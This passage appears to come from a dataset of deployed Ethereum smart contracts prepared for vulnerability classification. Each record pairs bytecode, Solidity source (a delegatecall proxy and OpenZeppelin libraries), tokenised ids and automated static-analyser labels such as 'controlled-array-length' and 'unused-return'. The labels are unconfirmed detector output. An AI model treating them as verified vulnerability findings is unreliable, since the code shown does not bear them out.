80905092915050565b6000808314156106445760009050610663565b818302905081838281151561065557fe5b0414151561065f57fe5b8090505b92915050565b6000818381151561067657fe5b04905092915050565b600082821115151561068d57fe5b8183039050929150505600a165627a7a72305820b017630a49a565ca61a6ad519256559c2e45b96fde1478f83fcc013865bb43f50029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 19481, 3401, 2692, 2581, 2487, 2278, 2546, 18939, 21084, 16932, 19961, 2546, 21057, 22275, 20842, 2546, 2487, 2546, 2094, 2683, 2683, 2094, 19961, 29097, 2063, 2683, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,425
0x96c411e6d4205a2480ff482f7bfb13a0471b6f7b
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract LouisVuitton{ //LouisVuitton bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "address error"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212208381a7800f33de20a17c76c43dd1f2817fcc1a18607d2e82bb8f19f5cbeb422264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 23632, 2487, 2063, 2575, 2094, 20958, 2692, 2629, 2050, 18827, 17914, 4246, 18139, 2475, 2546, 2581, 29292, 2497, 17134, 2050, 2692, 22610, 2487, 2497, 2575, 2546, 2581, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 5527, 14540, 4140, 1012, 14017, 1000, 1025, 3206, 3434, 19722, 12474, 2239, 1063, 1013, 1013, 3434, 19722, 12474, 2239, 27507, 16703, 4722, 5377, 3145, 1027, 1014, 2595, 21619, 2692, 2620, 2683, 2549, 27717, 2509, 3676, 2487, 2050, 16703, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,426
0x96c41806ec4f1756c8b21bd682c1ea0b219215eb
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/utils/Strings.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/utils/EnumerableMap.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/utils/EnumerableSet.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return 